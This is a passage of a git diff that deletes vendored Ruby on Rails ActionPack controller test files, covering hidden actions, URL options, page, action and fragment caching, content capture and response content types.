-require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
-
-# Provide some controller to run the tests on.
-module Submodule
-  class ContainedEmptyController < ActionController::Base
-  end
-  class ContainedNonEmptyController < ActionController::Base
-    def public_action
-      render :nothing => true
-    end
-    
-    hide_action :hidden_action
-    def hidden_action
-      raise "Noooo!"
-    end
-    
-    def another_hidden_action
-    end
-    hide_action :another_hidden_action
-  end
-  class SubclassedController < ContainedNonEmptyController
-    hide_action :public_action # Hiding it here should not affect the superclass.
-  end
-end
-class EmptyController < ActionController::Base
-end
-class NonEmptyController < ActionController::Base
-  def public_action
-  end
-  
-  hide_action :hidden_action
-  def hidden_action
-  end
-end
-
-class MethodMissingController < ActionController::Base
-  
-  hide_action :shouldnt_be_called
-  def shouldnt_be_called
-    raise "NO WAY!"
-  end
-  
-protected
-  
-  def method_missing(selector)
-    render :text => selector.to_s
-  end
-  
-end
-
-class DefaultUrlOptionsController < ActionController::Base
-  def default_url_options_action
-  end
-
-  def default_url_options(options = nil)
-    { :host => 'www.override.com', :action => 'new', :bacon => 'chunky' }
-  end
-end
-
-class ControllerClassTests < Test::Unit::TestCase
-  def test_controller_path
-    assert_equal 'empty', EmptyController.controller_path
-    assert_equal EmptyController.controller_path, EmptyController.new.controller_path
-    assert_equal 'submodule/contained_empty', Submodule::ContainedEmptyController.controller_path
-    assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path
-  end
-  def test_controller_name
-    assert_equal 'empty', EmptyController.controller_name
-    assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
- end
-end
-
-class ControllerInstanceTests < Test::Unit::TestCase
-  def setup
-    @empty = EmptyController.new
-    @contained = Submodule::ContainedEmptyController.new
-    @empty_controllers = [@empty, @contained, Submodule::SubclassedController.new]
-    
-    @non_empty_controllers = [NonEmptyController.new,
-                              Submodule::ContainedNonEmptyController.new]
-  end
-
-  def test_action_methods
-    @empty_controllers.each do |c|
-      hide_mocha_methods_from_controller(c)
-      assert_equal Set.new, c.__send__(:action_methods), "#{c.controller_path} should be empty!"
-    end
-    @non_empty_controllers.each do |c|
-      hide_mocha_methods_from_controller(c)
-      assert_equal Set.new(%w(public_action)), c.__send__(:action_methods), "#{c.controller_path} should not be empty!"
-    end
-  end
-
-  protected
-    # Mocha adds some public instance methods to Object that would be
-    # considered actions, so explicitly hide_action them.
-    def hide_mocha_methods_from_controller(controller)
-      mocha_methods = [
-        :expects, :mocha, :mocha_inspect, :reset_mocha, :stubba_object,
-        :stubba_method, :stubs, :verify, :__metaclass__, :__is_a__, :to_matcher,
-      ]
-      controller.class.__send__(:hide_action, *mocha_methods)
-    end
-end
-
-
-class PerformActionTest < ActionController::TestCase
-  class MockLogger
-    attr_reader :logged
-
-    def initialize
-      @logged = []
-    end
-
-    def method_missing(method, *args)
-      @logged << args.first
-    end
-  end
-
-  def use_controller(controller_class)
-    @controller = controller_class.new
-
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
-
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-
-    @request.host = "www.nextangle.com"
-
-    rescue_action_in_public!
-  end
-  
-  def test_get_on_priv_should_show_selector
-    use_controller MethodMissingController
-    get :shouldnt_be_called
-    assert_response :success
-    assert_equal 'shouldnt_be_called', @response.body
-  end
-  
-  def test_method_missing_is_not_an_action_name
-    use_controller MethodMissingController
-    assert ! @controller.__send__(:action_methods).include?('method_missing')
-    
-    get :method_missing
-    assert_response :success
-    assert_equal 'method_missing', @response.body
-  end
-  
-  def test_get_on_hidden_should_fail
-    use_controller NonEmptyController
-    get :hidden_action
-    assert_response 404
-    
-    get :another_hidden_action
-    assert_response 404
-  end
-
-  def test_namespaced_action_should_log_module_name
-    use_controller Submodule::ContainedNonEmptyController
-    @controller.logger = MockLogger.new
-    get :public_action
-    assert_match /Processing\sSubmodule::ContainedNonEmptyController#public_action/, @controller.logger.logged[1]
-  end
-end
-
-class DefaultUrlOptionsTest < ActionController::TestCase
-  tests DefaultUrlOptionsController
-
-  def setup
-    @request.host = 'www.example.com'
-    rescue_action_in_public!
-  end
-
-  def test_default_url_options_are_used_if_set
-    ActionController::Routing::Routes.draw do |map|
-      map.default_url_options 'default_url_options', :controller => 'default_url_options'
-      map.connect ':controller/:action/:id'
-    end
-
-    get :default_url_options_action # Make a dummy request so that the controller is initialized properly.
-
-    assert_equal 'http://www.override.com/default_url_options/new?bacon=chunky', @controller.url_for(:controller => 'default_url_options')
-    assert_equal 'http://www.override.com/default_url_options?bacon=chunky', @controller.send(:default_url_options_url)
-  ensure
-    ActionController::Routing::Routes.load!
-  end
-end
-
-class EmptyUrlOptionsTest < ActionController::TestCase
-  tests NonEmptyController
-
-  def setup
-    @request.host = 'www.example.com'
-    rescue_action_in_public!
-  end
-
-  def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
-    get :public_action
-    assert_equal "http://www.example.com/non_empty/public_action", @controller.url_for
-  end
-end
-
-class EnsureNamedRoutesWorksTicket22BugTest < Test::Unit::TestCase
-  def test_named_routes_still_work
-    ActionController::Routing::Routes.draw do |map|
-      map.resources :things
-    end
-    EmptyController.send :include, ActionController::UrlWriter
-
-    assert_equal '/things', EmptyController.new.send(:things_path)
-  ensure
-    ActionController::Routing::Routes.load!
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/benchmark_test.rb b/vendor/rails/actionpack/test/controller/benchmark_test.rb
deleted file mode 100644
index f9100a23..00000000
--- a/vendor/rails/actionpack/test/controller/benchmark_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'abstract_unit'
-
-# Provide some static controllers.
-class BenchmarkedController < ActionController::Base
-  def public_action
-    render :nothing => true
-  end
-
-  def rescue_action(e)
-    raise e
-  end
-end
-
-class BenchmarkTest < ActionController::TestCase
-  tests BenchmarkedController
-
-  class MockLogger
-    def method_missing(*args)
-    end
-  end
-
-  def setup
-    # benchmark doesn't do anything unless a logger is set
-    @controller.logger = MockLogger.new
-    @request.host = "test.actioncontroller.i"
-  end
-
-  def test_with_http_1_0_request
-    @request.host = nil
-    assert_nothing_raised { get :public_action }
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/caching_test.rb b/vendor/rails/actionpack/test/controller/caching_test.rb
deleted file mode 100644
index d67e31f7..00000000
--- a/vendor/rails/actionpack/test/controller/caching_test.rb
+++ /dev/null
@@ -1,743 +0,0 @@
-require 'fileutils'
-require 'abstract_unit'
-require 'active_record_unit'
-
-CACHE_DIR = 'test_cache'
-# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
-FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
-ActionController::Base.page_cache_directory = FILE_STORE_PATH
-ActionController::Base.cache_store = :file_store, FILE_STORE_PATH
-
-# Force sweeper classes to load
-ActionController::Caching::Sweeper
-ActionController::Caching::Sweeping
-
-class PageCachingTestController < ActionController::Base
-  caches_page :ok, :no_content, :if => Proc.new { |c| !c.request.format.json? }
-  caches_page :found, :not_found
-
-  def ok
-    head :ok
-  end
-
-  def no_content
-    head :no_content
-  end
-
-  def found
-    redirect_to :action => 'ok'
-  end
-
-  def not_found
-    head :not_found
-  end
-
-  def custom_path
-    render :text => "Super soaker"
-    cache_page("Super soaker", "/index.html")
-  end
-
-  def expire_custom_path
-    expire_page("/index.html")
-    head :ok
-  end
-
-  def trailing_slash
-    render :text => "Sneak attack"
-  end
-end
-
-class PageCachingTest < ActionController::TestCase
-  def setup
-    ActionController::Base.perform_caching = true
-
-    ActionController::Routing::Routes.draw do |map|
-      map.main '', :controller => 'posts', :format => nil
-      map.formatted_posts 'posts.:format', :controller => 'posts'
-      map.resources :posts
-      map.connect ':controller/:action/:id'
-    end
-
-    @request = ActionController::TestRequest.new
-    @request.host = 'hostname.com'
-
-    @response   = ActionController::TestResponse.new
-    @controller = PageCachingTestController.new
-
-    @params = {:controller => 'posts', :action => 'index', :only_path => true, :skip_relative_url_root => true}
-    @rewriter = ActionController::UrlRewriter.new(@request, @params)
-
-    FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
-    FileUtils.mkdir_p(FILE_STORE_PATH)
-  end
-
-  def teardown
-    FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
-    ActionController::Routing::Routes.clear!
-    ActionController::Base.perform_caching = false
-  end
-
-  def test_page_caching_resources_saves_to_correct_path_with_extension_even_if_default_route
-    @params[:format] = 'rss'
-    assert_equal '/posts.rss', @rewriter.rewrite(@params)
-    @params[:format] = nil
-    assert_equal '/', @rewriter.rewrite(@params)
-  end
-
-  def test_should_cache_get_with_ok_status
-    get :ok
-    assert_response :ok
-    assert_page_cached :ok, "get with ok status should have been cached"
-  end
-
-  def test_should_cache_with_custom_path
-    get :custom_path
-    assert File.exist?("#{FILE_STORE_PATH}/index.html")
-  end
-
-  def test_should_expire_cache_with_custom_path
-    get :custom_path
-    assert File.exist?("#{FILE_STORE_PATH}/index.html")
-
-    get :expire_custom_path
-    assert !File.exist?("#{FILE_STORE_PATH}/index.html")
-  end
-
-  def test_should_cache_without_trailing_slash_on_url
-    @controller.class.cache_page 'cached content', '/page_caching_test/trailing_slash'
-    assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
-  end
-
-  def test_should_cache_with_trailing_slash_on_url
-    @controller.class.cache_page 'cached content', '/page_caching_test/trailing_slash/'
-    assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
-  end
-
-  def test_should_cache_ok_at_custom_path
-    @request.stubs(:path).returns("/index.html")
-    get :ok
-    assert_response :ok
-    assert File.exist?("#{FILE_STORE_PATH}/index.html")
-  end
-
-  [:ok, :no_content, :found, :not_found].each do |status|
-    [:get, :post, :put, :delete].each do |method|
-      unless method == :get and status == :ok
-        define_method "test_shouldnt_cache_#{method}_with_#{status}_status" do
-          send(method, status)
-          assert_response status
-          assert_page_not_cached status, "#{method} with #{status} status shouldn't have been cached"
-        end
-      end
-    end
-  end
-
-  def test_page_caching_conditional_options
-    get :ok, :format=>'json'
-    assert_page_not_cached :ok
-  end
-
-  private
-    def assert_page_cached(action, message = "#{action} should have been cached")
-      assert page_cached?(action), message
-    end
-
-    def assert_page_not_cached(action, message = "#{action} shouldn't have been cached")
-      assert !page_cached?(action), message
-    end
-
-    def page_cached?(action)
-      File.exist? "#{FILE_STORE_PATH}/page_caching_test/#{action}.html"
-    end
-end
-
-class ActionCachingTestController < ActionController::Base
-  caches_action :index, :redirected, :forbidden, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
-  caches_action :show, :cache_path => 'http://test.host/custom/show'
-  caches_action :edit, :cache_path => Proc.new { |c| c.params[:id] ? "http://test.host/#{c.params[:id]};edit" : "http://test.host/edit" }
-  caches_action :with_layout
-  caches_action :layout_false, :layout => false
-  caches_action :record_not_found, :four_oh_four, :simple_runtime_error
-
-  layout 'talk_from_action.erb'
-
-  def index
-    @cache_this = MockTime.now.to_f.to_s
-    render :text => @cache_this
-  end
-
-  def redirected
-    redirect_to :action => 'index'
-  end
-
-  def forbidden
-    render :text => "Forbidden"
-    response.status = "403 Forbidden"
-  end
-
-  def with_layout
-    @cache_this = MockTime.now.to_f.to_s
-    render :text => @cache_this, :layout => true
-  end
-
-  def record_not_found
-    raise ActiveRecord::RecordNotFound, "oops!"
-  end
-
-  def four_oh_four
-    render :text => "404'd!", :status => 404
-  end
-
-  def simple_runtime_error
-    raise "oops!"
-  end
-
-  alias_method :show, :index
-  alias_method :edit, :index
-  alias_method :destroy, :index
-  alias_method :layout_false, :with_layout
-
-  def expire
-    expire_action :controller => 'action_caching_test', :action => 'index'
-    render :nothing => true
-  end
-
-  def expire_xml
-    expire_action :controller => 'action_caching_test', :action => 'index', :format => 'xml'
-    render :nothing => true
-  end
-end
-
-class MockTime < Time
-  # Let Time spicy to assure that Time.now != Time.now
-  def to_f
-    super+rand
-  end
-end
-
-class ActionCachingMockController
-  attr_accessor :mock_url_for
-  attr_accessor :mock_path
-
-  def initialize
-    yield self if block_given?
-  end
-
-  def url_for(*args)
-    @mock_url_for
-  end
-
-  def request
-    mocked_path = @mock_path
-    Object.new.instance_eval(<<-EVAL)
-      def path; '#{@mock_path}' end
-      def format; 'all' end
-      def cache_format; nil end
-      self
-    EVAL
-  end
-end
-
-class ActionCacheTest < ActionController::TestCase
-  def setup
-    reset!
-    FileUtils.mkdir_p(FILE_STORE_PATH)
-    @path_class = ActionController::Caching::Actions::ActionCachePath
-    @mock_controller = ActionCachingMockController.new
-  end
-
-  def teardown
-    FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
-  end
-
-  def test_simple_action_cache
-    get :index
-    cached_time = content_to_cache
-    assert_equal cached_time, @response.body
-    assert fragment_exist?('hostname.com/action_caching_test')
-    reset!
-
-    get :index
-    assert_equal cached_time, @response.body
-  end
-
-  def test_simple_action_not_cached
-    get :destroy
-    cached_time = content_to_cache
-    assert_equal cached_time, @response.body
-    assert !fragment_exist?('hostname.com/action_caching_test/destroy')
-    reset!
-
-    get :destroy
-    assert_not_equal cached_time, @response.body
-  end
-
-  def test_action_cache_with_layout
-    get :with_layout
-    cached_time = content_to_cache
-    assert_not_equal cached_time, @response.body
-    assert fragment_exist?('hostname.com/action_caching_test/with_layout')
-    reset!
-
-    get :with_layout
-    assert_not_equal cached_time, @response.body
-
-    assert_equal @response.body, read_fragment('hostname.com/action_caching_test/with_layout')
-  end
-
-  def test_action_cache_with_layout_and_layout_cache_false
-    get :layout_false
-    cached_time = content_to_cache
-    assert_not_equal cached_time, @response.body
-    assert fragment_exist?('hostname.com/action_caching_test/layout_false')
-    reset!
-
-    get :layout_false
-    assert_not_equal cached_time, @response.body
-
-    assert_equal cached_time, read_fragment('hostname.com/action_caching_test/layout_false')
-  end
-
-  def test_action_cache_conditional_options
-    old_use_accept_header = ActionController::Base.use_accept_header
-    ActionController::Base.use_accept_header = true
-    @request.env['HTTP_ACCEPT'] = 'application/json'
-    get :index
-    assert !fragment_exist?('hostname.com/action_caching_test')
-    ActionController::Base.use_accept_header = old_use_accept_header
-  end
-
-  def test_action_cache_with_store_options
-    MockTime.expects(:now).returns(12345).once
-    @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
-    @controller.expects(:write_fragment).with('hostname.com/action_caching_test', '12345.0', :expires_in => 1.hour).once
-    get :index
-  end
-
-  def test_action_cache_with_custom_cache_path
-    get :show
-    cached_time = content_to_cache
-    assert_equal cached_time, @response.body
-    assert fragment_exist?('test.host/custom/show')
-    reset!
-
-    get :show
-    assert_equal cached_time, @response.body
-  end
-
-  def test_action_cache_with_custom_cache_path_in_block
-    get :edit
-    assert fragment_exist?('test.host/edit')
-    reset!
-
-    get :edit, :id => 1
-    assert fragment_exist?('test.host/1;edit')
-  end
-
-  def test_cache_expiration
-    get :index
-    cached_time = content_to_cache
-    reset!
-
-    get :index
-    assert_equal cached_time, @response.body
-    reset!
-
-    get :expire
-    reset!
-
-    get :index
-    new_cached_time = content_to_cache
-    assert_not_equal cached_time, @response.body
-    reset!
-
-    get :index
-    assert_response :success
-    assert_equal new_cached_time, @response.body
-  end
-
-  def test_cache_expiration_isnt_affected_by_request_format
-    get :index
-    cached_time = content_to_cache
-    reset!
-
-    @request.set_REQUEST_URI "/action_caching_test/expire.xml"
-    get :expire, :format => :xml
-    reset!
-
-    get :index
-    new_cached_time = content_to_cache
-    assert_not_equal cached_time, @response.body
-  end
-
-  def test_cache_is_scoped_by_subdomain
-    @request.host = 'jamis.hostname.com'
-    get :index
-    jamis_cache = content_to_cache
-
-    reset!
-
-    @request.host = 'david.hostname.com'
-    get :index
-    david_cache = content_to_cache
-    assert_not_equal jamis_cache, @response.body
-
-    reset!
-
-    @request.host = 'jamis.hostname.com'
-    get :index
-    assert_equal jamis_cache, @response.body
-
-    reset!
-
-    @request.host = 'david.hostname.com'
-    get :index
-    assert_equal david_cache, @response.body
-  end
-
-  def test_redirect_is_not_cached
-    get :redirected
-    assert_response :redirect
-    reset!
-
-    get :redirected
-    assert_response :redirect
-  end
-
-  def test_forbidden_is_not_cached
-    get :forbidden
-    assert_response :forbidden
-    reset!
-
-    get :forbidden
-    assert_response :forbidden
-  end
-
-  def test_xml_version_of_resource_is_treated_as_different_cache
-    with_routing do |set|
-      set.draw do |map|
-        map.connect ':controller/:action.:format'
-        map.connect ':controller/:action'
-      end
-
-      get :index, :format => 'xml'
-      cached_time = content_to_cache
-      assert_equal cached_time, @response.body
-      assert fragment_exist?('hostname.com/action_caching_test/index.xml')
-      reset!
-
-      get :index, :format => 'xml'
-      assert_equal cached_time, @response.body
-      assert_equal 'application/xml', @response.content_type
-      reset!
-
-      get :expire_xml
-      reset!
-
-      get :index, :format => 'xml'
-      assert_not_equal cached_time, @response.body
-    end
-  end
-
-  def test_correct_content_type_is_returned_for_cache_hit
-    # run it twice to cache it the first time
-    get :index, :id => 'content-type.xml'
-    get :index, :id => 'content-type.xml'
-    assert_equal 'application/xml', @response.content_type
-  end
-
-  def test_correct_content_type_is_returned_for_cache_hit_on_action_with_string_key
-    # run it twice to cache it the first time
-    get :show, :format => 'xml'
-    get :show, :format => 'xml'
-    assert_equal 'application/xml', @response.content_type
-  end
-
-  def test_correct_content_type_is_returned_for_cache_hit_on_action_with_string_key_from_proc
-    # run it twice to cache it the first time
-    get :edit, :id => 1, :format => 'xml'
-    get :edit, :id => 1, :format => 'xml'
-    assert_equal 'application/xml', @response.content_type
-  end
-
-  def test_empty_path_is_normalized
-    @mock_controller.mock_url_for = 'http://example.org/'
-    @mock_controller.mock_path    = '/'
-
-    assert_equal 'example.org/index', @path_class.path_for(@mock_controller, {})
-  end
-
-  def test_file_extensions
-    get :index, :id => 'kitten.jpg'
-    get :index, :id => 'kitten.jpg'
-
-    assert_response :success
-  end
-
-  def test_record_not_found_returns_404_for_multiple_requests
-    get :record_not_found
-    assert_response 404
-    get :record_not_found
-    assert_response 404
-  end
-
-  def test_four_oh_four_returns_404_for_multiple_requests
-    get :four_oh_four
-    assert_response 404
-    get :four_oh_four
-    assert_response 404
-  end
-
-  def test_simple_runtime_error_returns_500_for_multiple_requests
-    get :simple_runtime_error
-    assert_response 500
-    get :simple_runtime_error
-    assert_response 500
-  end
-
-  private
-    def content_to_cache
-      assigns(:cache_this)
-    end
-
-    def reset!
-      @request    = ActionController::TestRequest.new
-      @response   = ActionController::TestResponse.new
-      @controller = ActionCachingTestController.new
-      @request.host = 'hostname.com'
-    end
-
-    def fragment_exist?(path)
-      @controller.fragment_exist?(path)
-    end
-
-    def read_fragment(path)
-      @controller.read_fragment(path)
-    end
-end
-
-class FragmentCachingTestController < ActionController::Base
-  def some_action; end;
-end
-
-class FragmentCachingTest < ActionController::TestCase
-  def setup
-    ActionController::Base.perform_caching = true
-    @store = ActiveSupport::Cache::MemoryStore.new
-    ActionController::Base.cache_store = @store
-    @controller = FragmentCachingTestController.new
-    @params = {:controller => 'posts', :action => 'index'}
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-    @controller.params = @params
-    @controller.request = @request
-    @controller.response = @response
-    @controller.send(:initialize_current_url)
-    @controller.send(:initialize_template_class, @response)
-    @controller.send(:assign_shortcuts, @request, @response)
-  end
-
-  def test_fragment_cache_key
-    assert_equal 'views/what a key', @controller.fragment_cache_key('what a key')
-    assert_equal "views/test.host/fragment_caching_test/some_action",
-                  @controller.fragment_cache_key(:controller => 'fragment_caching_test',:action => 'some_action')
-  end
-
-  def test_read_fragment_with_caching_enabled
-    @store.write('views/name', 'value')
-    assert_equal 'value', @controller.read_fragment('name')
-  end
-
-  def test_read_fragment_with_caching_disabled
-    ActionController::Base.perform_caching = false
-    @store.write('views/name', 'value')
-    assert_nil @controller.read_fragment('name')
-  end
-
-  def test_fragment_exist_with_caching_enabled
-    @store.write('views/name', 'value')
-    assert @controller.fragment_exist?('name')
-    assert !@controller.fragment_exist?('other_name')
-  end
-
-  def test_fragment_exist_with_caching_disabled
-    ActionController::Base.perform_caching = false
-    @store.write('views/name', 'value')
-    assert !@controller.fragment_exist?('name')
-    assert !@controller.fragment_exist?('other_name')
-  end
-
-  def test_write_fragment_with_caching_enabled
-    assert_nil @store.read('views/name')
-    assert_equal 'value', @controller.write_fragment('name', 'value')
-    assert_equal 'value', @store.read('views/name')
-  end
-
-  def test_write_fragment_with_caching_disabled
-    assert_nil @store.read('views/name')
-    ActionController::Base.perform_caching = false
-    assert_equal 'value', @controller.write_fragment('name', 'value')
-    assert_nil @store.read('views/name')
-  end
-
-  def test_expire_fragment_with_simple_key
-    @store.write('views/name', 'value')
-    @controller.expire_fragment 'name'
-    assert_nil @store.read('views/name')
-  end
-
-  def test_expire_fragment_with_regexp
-    @store.write('views/name', 'value')
-    @store.write('views/another_name', 'another_value')
-    @store.write('views/primalgrasp', 'will not expire ;-)')
-
-    @controller.expire_fragment /name/
-
-    assert_nil @store.read('views/name')
-    assert_nil @store.read('views/another_name')
-    assert_equal 'will not expire ;-)', @store.read('views/primalgrasp')
-  end
-
-  def test_fragment_for_with_disabled_caching
-    ActionController::Base.perform_caching = false
-
-    @store.write('views/expensive', 'fragment content')
-    fragment_computed = false
-
-    buffer = 'generated till now -> '.html_safe
-    @controller.fragment_for(buffer, 'expensive') { fragment_computed = true }
-
-    assert fragment_computed
-    assert_equal 'generated till now -> ', buffer
-  end
-
-  def test_fragment_for
-    @store.write('views/expensive', 'fragment content')
-    fragment_computed = false
-
-    buffer = 'generated till now -> '.html_safe
-    @controller.fragment_for(buffer, 'expensive') { fragment_computed = true }
-
-    assert !fragment_computed
-    assert_equal 'generated till now -> fragment content', buffer
-  end
-
-  def test_html_safety
-    assert_nil @store.read('views/name')
-    content = 'value'.html_safe
-    assert_equal content, @controller.write_fragment('name', content)
-
-    cached = @store.read('views/name')
-    assert_equal content, cached
-    assert_equal String, cached.class
-
-    html_safe = @controller.read_fragment('name')
-    assert_equal content, html_safe
-    assert html_safe.html_safe?
-  end
-end
-
-class FunctionalCachingController < ActionController::Base
-  def fragment_cached
-  end
-
-  def html_fragment_cached_with_partial
-    respond_to do |format|
-      format.html
-    end
-  end
-
-  def js_fragment_cached_with_partial
-    respond_to do |format|
-      format.js
-    end
-  end
-
-  def formatted_fragment_cached
-    respond_to do |format|
-      format.html
-      format.xml
-      format.js
-    end
-  end
-
-  def rescue_action(e)
-    raise e
-  end
-end
-
-class FunctionalFragmentCachingTest < ActionController::TestCase
-  def setup
-    ActionController::Base.perform_caching = true
-    @store = ActiveSupport::Cache::MemoryStore.new
-    ActionController::Base.cache_store = @store
-    @controller = FunctionalCachingController.new
-    @request = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-  end
-
-  def test_fragment_caching
-    get :fragment_cached
-    assert_response :success
-    expected_body = <<-CACHED
-Hello
-This bit's fragment cached
-CACHED
-    assert_equal expected_body, @response.body
-
-    assert_equal "This bit's fragment cached", @store.read('views/test.host/functional_caching/fragment_cached')
-  end
-
-  def test_fragment_caching_in_partials
-    get :html_fragment_cached_with_partial
-    assert_response :success
-    assert_match /Fragment caching in a partial/, @response.body
-    assert_match "Fragment caching in a partial", @store.read('views/test.host/functional_caching/html_fragment_cached_with_partial')
-  end
-
-  def test_render_inline_before_fragment_caching
-    get :inline_fragment_cached
-    assert_response :success
-    assert_match /Some inline content/, @response.body
-    assert_match /Some cached content/, @response.body
-    assert_match "Some cached content", @store.read('views/test.host/functional_caching/inline_fragment_cached')
-  end
-
-  def test_fragment_caching_in_rjs_partials
-    xhr :get, :js_fragment_cached_with_partial
-    assert_response :success
-    assert_match /Fragment caching in a partial/, @response.body
-    assert_match "Fragment caching in a partial", @store.read('views/test.host/functional_caching/js_fragment_cached_with_partial')
-  end
-
-  def test_html_formatted_fragment_caching
-    get :formatted_fragment_cached, :format => "html"
-    assert_response :success
-    expected_body = "<body>\n<p>ERB</p>\n</body>"
-
-    assert_equal expected_body, @response.body
-
-    assert_equal "<p>ERB</p>", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
-  end
-
-  def test_xml_formatted_fragment_caching
-    get :formatted_fragment_cached, :format => "xml"
-    assert_response :success
-    expected_body = "<body>\n  <p>Builder</p>\n</body>\n"
-
-    assert_equal expected_body, @response.body
-
-    assert_equal "  <p>Builder</p>\n", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
-  end
-
-  def test_js_formatted_fragment_caching
-    get :formatted_fragment_cached, :format => "js"
-    assert_response :success
-    expected_body = %(title = "Hey";\n$("element_1").visualEffect("highlight");\n) +
-      %($("element_2").visualEffect("highlight");\nfooter = "Bye";)
-    assert_equal expected_body, @response.body
-
-    assert_equal ['$("element_1").visualEffect("highlight");', '$("element_2").visualEffect("highlight");'],
-      @store.read('views/test.host/functional_caching/formatted_fragment_cached')
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/capture_test.rb b/vendor/rails/actionpack/test/controller/capture_test.rb
deleted file mode 100644
index 56e37018..00000000
--- a/vendor/rails/actionpack/test/controller/capture_test.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-require 'abstract_unit'
-
-class CaptureController < ActionController::Base
-  def self.controller_name; "test"; end
-  def self.controller_path; "test"; end
-
-  def content_for
-    render :layout => "talk_from_action"
-  end
-
-  def content_for_with_parameter
-    render :layout => "talk_from_action"
-  end
-
-  def content_for_concatenated
-    render :layout => "talk_from_action"
-  end
-
-  def non_erb_block_content_for
-    render :layout => "talk_from_action"
-  end
-
-  def rescue_action(e) raise end
-end
-
-class CaptureTest < ActionController::TestCase
-  tests CaptureController
-
-  def setup
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
-
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_simple_capture
-    get :capturing
-    assert_equal "<p>Dreamy days</p>", @response.body.strip
-  end
-
-  def test_content_for
-    get :content_for
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_should_concatentate_content_for
-    get :content_for_concatenated
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_should_set_content_for_with_parameter
-    get :content_for_with_parameter
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  def test_non_erb_block_content_for
-    get :non_erb_block_content_for
-    assert_equal expected_content_for_output, @response.body
-  end
-
-  private
-    def expected_content_for_output
-      "<title>Putting stuff in the title!</title>\n\nGreat stuff!"
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/content_type_test.rb b/vendor/rails/actionpack/test/controller/content_type_test.rb
deleted file mode 100644
index 852fbfaa..00000000
--- a/vendor/rails/actionpack/test/controller/content_type_test.rb
+++ /dev/null
@@ -1,178 +0,0 @@
-require 'abstract_unit'
-
-class ContentTypeController < ActionController::Base
-  def render_content_type_from_body
-    response.content_type = Mime::RSS
-    render :text => "hello world!"
-  end
-
-  def render_defaults
-    render :text => "hello world!"
-  end
-
-  def render_content_type_from_render
-    render :text => "hello world!", :content_type => Mime::RSS
-  end
-
-  def render_charset_from_body
-    response.charset = "utf-16"
-    render :text => "hello world!"
-  end
-
-  def render_nil_charset_from_body
-    response.charset = nil
-    render :text => "hello world!"
-  end
-
-  def render_default_for_rhtml
-  end
-
-  def render_default_for_rxml
-  end
-
-  def render_default_for_rjs
-  end
-
-  def render_change_for_rxml
-    response.content_type = Mime::HTML
-    render :action => "render_default_for_rxml"
-  end
-
-  def render_default_content_types_for_respond_to
-    respond_to do |format|
-      format.html { render :text   => "hello world!" }
-      format.xml  { render :action => "render_default_content_types_for_respond_to.rhtml" }
-      format.js   { render :text   => "hello world!" }
-      format.rss  { render :text   => "hello world!", :content_type => Mime::XML }
-    end
-  end
-  
-  def render_content_type_from_user_input
-    response.content_type= params[:hello]
-    render :text=>"hello"
-  end
-
-  def rescue_action(e) raise end
-end
-
-class ContentTypeTest < ActionController::TestCase
-  tests ContentTypeController
-
-  def setup
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
-  end
-
-  def test_render_defaults
-    get :render_defaults
-    assert_equal "utf-8", @response.charset
-    assert_equal Mime::HTML, @response.content_type
-  end
-
-  def test_render_changed_charset_default
-    ContentTypeController.default_charset = "utf-16"
-    get :render_defaults
-    assert_equal "utf-16", @response.charset
-    assert_equal Mime::HTML, @response.content_type
-    ContentTypeController.default_charset = "utf-8"
-  end
-
-  def test_content_type_from_body
-    get :render_content_type_from_body
-    assert_equal "application/rss+xml", @response.content_type
-    assert_equal "utf-8", @response.charset
-  end
-
-  def test_content_type_from_render
-    get :render_content_type_from_render
-    assert_equal "application/rss+xml", @response.content_type
-    assert_equal "utf-8", @response.charset
-  end
-
-  def test_charset_from_body
-    get :render_charset_from_body
-    assert_equal Mime::HTML, @response.content_type
-    assert_equal "utf-16", @response.charset
-  end
-
-  def test_nil_charset_from_body
-    get :render_nil_charset_from_body
-    assert_equal Mime::HTML, @response.content_type
-    assert_equal "utf-8", @response.charset, @response.headers.inspect
-  end
-
-  def test_nil_default_for_rhtml
-    ContentTypeController.default_charset = nil
-    get :render_default_for_rhtml
-    assert_equal Mime::HTML, @response.content_type
-    assert_nil @response.charset, @response.headers.inspect
-  ensure
-    ContentTypeController.default_charset = "utf-8"
-  end
-
-  def test_default_for_rhtml
-    get :render_default_for_rhtml
-    assert_equal Mime::HTML, @response.content_type
-    assert_equal "utf-8", @response.charset
-  end
-
-  def test_default_for_rxml
-    get :render_default_for_rxml
-    assert_equal Mime::XML, @response.content_type
-    assert_equal "utf-8", @response.charset
-  end
-
-  def test_default_for_rjs
